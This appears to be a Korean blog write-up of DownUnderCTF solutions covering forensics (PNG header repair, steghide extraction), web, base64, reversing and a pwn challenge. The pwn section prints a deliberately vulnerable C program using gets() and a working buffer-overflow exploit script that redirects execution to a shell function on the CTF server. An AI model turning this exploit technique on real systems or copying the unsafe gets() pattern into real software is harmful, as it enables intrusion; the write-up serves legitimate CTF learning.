CTF

2019 DownUnderCTF Writeup

c0wb3ll ㅣ 2020. 9. 24. 18:01

DownUnderCTF Writeup

Forensics

On the spectrum

On the spectrum

의식의 흐름

wav파일 → audacity 툴 사용

문제이름 → spectrum → spectrogram

flag

Spot the Difference

Spot the Difference
/Publish

문제 폴더

/Publish/.config/Reminder.png

/.config 폴더에 깨져있는 파일 발견

Reminder.png

IHDR, IDAT 청크가 있는걸로 보아 PNG 파일

따라서 zip파일 시그니처인 50 4B 03 04를 → 0D 0A 1A 0A는 그대로 존재하므로 89 50 4E 47 로 변경

Reminder.png

고쳐서 사진을 보면 암호화된 비밀번호에 1cmVQ라는 문자열이 삽입되어있다고 함

/Publish/.config/secret

해당 사진 파일과 같은 디렉토리에 secret 디렉토리 존재

해당 디렉토리 안에는 40개의 폴더 각각 40개의 txt파일을 포함

get password by /Publish/.config/secret

다음과 같이 리눅스로 환경을 옮겨 위 사진과 같은 명령어를 사용

인코딩 방식은 base64였으므로 해제하면 1234IsASecurePassword라는 비밀번호를 얻을 수 있음

이 비밀번호는 문제에 steghide를 언급했으므로 steghide의 비밀번호라는 것을 유추 가능

 

/Publish/badfiles

steghide를 사용할 사진을 찾다 badfiles안 여러가지 이미지를 발견 steghide가 사용된 사진파일이 이 중 하나라고 게싱

import subprocess

lslist = subprocess.check_output(['ls']).decode().split('\n')

for i in lslist:
    try:
        print(i)
        subprocess.check_output('steghide extract -sf %s -p "1234IsASecurePassword"' % i, shell=True)
    except:
        pass

다음과 같은 파이썬 코드를 짜 돌림

run steghide.py

다음과 같이 특정 이미지에 SecretMessage.txt가 숨어있는것을 발견

flag

해당 파일을 읽으면 플래그 획득

Web

Legos

Leggos

pasta, sauce 대부분 그냥 소스코드 읽으면 플래그를 주는 경우 허다함

flag

개발자모드를 열어 disableMouseRightClick.js 소스코드 안 주석으로 플래그가 존재

Misc

16 Home Runs

16 Home Runs

저 문자열 끝에 = 있음 base64임

대충 문제 의도를 보자면 야구의 홈런은 4루타이니 16*4 = 64로 base64쓰라는 뜻인것 같았음

킹무튼 디코딩 돌리면 플래그 줌

Pwn

Shell this!

Shell this!

#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
void setup() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

void get_shell() {
    execve("/bin/sh", NULL, NULL);
}

void vuln() {
    char name[40];

    printf("Please tell me your name: ");
    gets(name);
}

int main(void) {
    printf("Welcome! Can you figure out how to get this program to give you a shell?\n");
    vuln();
    printf("Unfortunately, you did not win. Please try again another time!\n");
}

shellthis.c 파일

name 버퍼 40byte인데 gets 함수를 이용해 입력받으므로 BOF 발생

따라서 RET주소를 get_shell()로 변경해주면 쉘을 딸 수 있음

gdb shellthis

gets 함수에 인자를 전달하는걸로 보아 name의 버퍼위치는 rbp-0x30

0x30[name]+0x8[SFP]만큼의 버퍼를 주고 get_shell()주소를 주면 쉘을 딸 수 있을 듯

from ptrlib import *

e = ELF("./shellthis")

p = remote('chal.duc.tf', 30002)

p.recvuntil('name:')

get_shell_addr = e.symbol("get_shell")

payload = b'A'* (0x30+0x8)
payload += p64(get_shell_addr)

p.sendline(payload)

p.interactive()

페이로드

flag

두번째 문제 return-to-what도 풀고싶었으나 64bit ret2libc를 해본 경험이 없어 못 품 ㅠ

reversing

formatting

formatting

매우 쉽다고 하는데 어려웠음 나는 ㅎㅎ....

그래서 거의 야매로 품

flag

그냥 gdb로 열고 main에 bp건 다음 ni만 엄청 누름

그러면 stack쪽에 플래그가 올라옴